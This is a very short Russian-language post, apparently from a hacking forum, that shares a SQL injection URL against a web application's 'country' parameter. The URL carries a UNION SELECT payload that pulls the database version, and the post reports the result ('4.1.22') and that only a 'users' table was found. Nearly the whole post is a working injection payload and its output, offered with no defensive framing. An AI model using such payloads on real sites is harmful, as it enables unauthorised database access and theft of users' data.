Во нате:
http://www.xxx.ru/index.php?res=1280&action=anketa&country=-1+UNION+SELECT+1,2,3,4,version(),6,7,8,9,10,11,12, 13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 ,30,31,31,32,33,34,35,36,37,38,39/*

4.1.22
Нашол только табличку users